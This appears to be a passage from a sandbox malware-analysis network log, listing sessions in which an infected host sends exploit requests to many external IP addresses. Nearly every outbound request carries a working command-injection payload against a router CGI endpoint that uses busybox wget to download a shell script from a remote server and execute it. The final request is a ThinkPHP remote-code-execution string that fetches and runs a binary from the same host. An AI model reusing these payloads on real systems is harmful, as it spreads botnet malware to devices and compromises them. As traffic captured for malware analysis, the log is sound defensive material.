Mar 4, 2024 15:06:12.208532095 CET	274	IN	HTTP/1.0 200 OK Server: httpd/2.0 x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Date: Mon, 04 Mar 2024 14:06:12 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp';</script></HEAD></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	47712	62.29.98.236	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:12.115932941 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	53476	62.29.0.17	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:12.118652105 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	35598	95.68.82.61	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:12.406626940 CET	334	IN	HTTP/1.0 400 Bad Request Server: httpd/2.0 x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Date: Mon, 04 Mar 2024 14:06:12 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	47520	154.55.166.161	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:14.391947985 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:22Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	47536	154.55.166.161	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:15.513675928 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:23Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	46254	94.252.3.167	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:15.553097963 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:15.751108885 CET	174	IN	HTTP/1.1 404 Not Found Access-Control-Allow-Origin: * Cache-Control: no-cache,no-store Content-Type: text/plain Content-Length: 35 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	39778	31.136.72.166	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:15.559693098 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:16.151146889 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:17.335159063 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:19.767138004 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:24.631283998 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:34.103658915 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:53.303003073 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:32.214967012 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	44748	31.136.190.161	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:15.561436892 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:18.743227959 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:24.887131929 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:36.919049025 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:01.495012045 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:50.647057056 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	42104	94.45.148.38	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:15.579711914 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:15.779660940 CET	1246	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 1097 Date: Mon, 04 Mar 2024 14:06:15 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 68 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 62 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 61 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 32 30 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> /cgi-bin/ViewLog.asp</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.20</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	41838	94.190.167.239	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:15.587524891 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	38576	94.187.109.221	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:15.588110924 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	44184	94.121.128.48	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:15.614078045 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	56674	94.121.68.246	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:15.830509901 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	59440	88.99.169.30	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:15.890156031 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
